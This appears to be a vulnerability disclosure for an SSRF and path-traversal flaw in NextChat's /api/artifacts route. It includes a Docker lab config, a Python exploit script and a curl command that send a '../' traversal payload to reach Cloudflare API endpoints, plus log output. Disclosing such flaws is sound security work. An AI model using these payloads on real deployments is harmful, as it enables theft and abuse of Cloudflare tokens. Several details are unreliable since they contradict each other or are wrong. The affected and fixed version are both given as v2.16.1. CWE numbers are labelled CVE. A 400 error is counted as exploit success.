# Vulnerability Summary: Server-Side Request Forgery (SSRF) and Cloudflare API Token Leakage ## Vulnerability Overview - **Vulnerability Type**: Server-Side Request Forgery (SSRF) and Cloudflare API Token Leakage - **Vulnerability Location**: `/api/artifacts` route in the NextChat Next.js application - **Vulnerability Description**: - The route directly concatenates the `id` query parameter into the URL without validating user input. - Attackers can bypass restrictions using path traversal (e.g., `../../`) to access sensitive data in Cloudflare KV storage. - Due to the use of a high-privilege Cloudflare API Token, attackers can steal sensitive information. ## Scope of Impact - **Affected Products**: - Ecosystem: npm - Package Name: `nextchat` (Yidadaa/ChatGPT-Next-Web) - Affected Versions: <= v2.16.1 - **Severity**: Critical - **CVSS Vector String**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H ## Remediation - **Fixed Version**: v2.16.1 and later ## POC Code ### Docker Compose Configuration ```yaml version: '3.9' services: nextchat: image: yidadaa/chatgpt-next-web:latest container_name: nextchat-artifact-ssrf ports: - "3000:3000" environment: - BASE_URL=http://localhost:3000 - CLOUDFLARE_KV_API_KEY=SECRET_TEST_TOKEN - CLOUDFLARE_KV_NAMESPACE_ID=TEST_NAMESPACE - CLOUDFLARE_ACCOUNT_ID=TEST_ACCOUNT ``` ### Python Exploit Script ```python import requests def test_artifact_ssrf(): # Payload path traversal to escape /client/v4/accounts/{accountId}/storage/kv/namespaces/{namespaceId}/values target = "http://localhost:3000/api/artifacts" params = { "id": "../../../../../user/tokens/verify" } try: response = requests.get(target, params=params, timeout=10) print("[*] Artifacts SSRF Response Status:", response.status_code) print("[*] Response body:") print(response.text) if response.status_code in [200, 400, 401, 403]: print("[✓]SUCCESS Exploit hit Cloudflare traversal target!") else: print("[✗]FAILED Vulnerability might be patched or endpoint not reachable.") except Exception as e: print("[✗]FAILED Error during fetching:", str(e)) if __name__ == "__main__": test_artifact_ssrf() ``` ### Curl Command ```bash curl -i -s -k "http://localhost:3000/api/artifacts?id=../../../../../user/tokens/verify" ``` ## Log Evidence ``` [*] Artifacts SSRF Response Status: 400 [*] Response body: {"success":false,"errors":[{"code":6003,"message":"Invalid request headers","error_chain":[{"code":4011,"message":"Invalid request headers"}]}]} [SUCCESS] Exploit hit Cloudflare traversal target! ``` ## Impact - **Critical SSRF & Identity Takeover**: Attackers can directly invoke privileged Cloudflare API endpoints using the configured `CLOUDFLARE_KV_API_KEY`. Depending on the scope of the token, this could lead to full takeover of the victim's Cloudflare infrastructure, manipulation of DNS settings, reading of other namespaces, or bypassing proxy protections. ## Weaknesses - **CVE-918**: Server-Side Request Forgery (SSRF) - **CVE-22**: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ## Occurrence - **Permanent Link**: [https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/artifacts/route.ts](https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/artifacts/route.ts) - **Description**: The endpoint directly interpolates the `id` query parameter into the `fetch()` URL without neutralizing path traversal sequences such as `../`, while appending a high-privilege `Authorization: Bearer token`.
